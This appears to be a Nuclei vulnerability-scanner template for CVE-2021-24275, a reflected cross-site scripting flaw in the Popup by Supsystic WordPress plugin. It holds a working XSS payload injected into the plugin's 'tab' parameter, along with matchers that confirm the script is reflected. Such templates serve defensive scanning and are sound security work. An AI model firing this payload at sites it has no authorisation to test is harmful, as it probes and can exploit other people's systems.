id: CVE-2021-24275

info:
  name: Popup by Supsystic < 1.10.5 - Reflected Cross-Site scripting (XSS)
  author: dhiyaneshDK
  severity: medium
  description: The Popup by Supsystic WordPress plugin before 1.10.5 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue.
  reference:
    - https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24275
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-24275
    cwe-id: CWE-79
  tags: wordpress,cve,cve2021,wp-plugin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        condition: and

      - type: status
        status:
          - 200

      - type: word
        words:
          - "text/html"
        part: header